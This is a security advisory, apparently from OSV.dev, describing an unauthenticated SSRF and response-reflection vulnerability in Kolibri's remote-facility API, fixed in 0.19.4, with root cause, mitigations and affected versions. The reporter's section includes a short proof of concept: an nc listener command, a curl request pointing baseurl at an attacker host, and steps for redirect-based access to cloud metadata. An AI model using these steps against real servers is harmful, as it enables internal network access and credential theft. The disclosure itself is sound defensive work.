POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 13, 2020

Activity

Reach

Details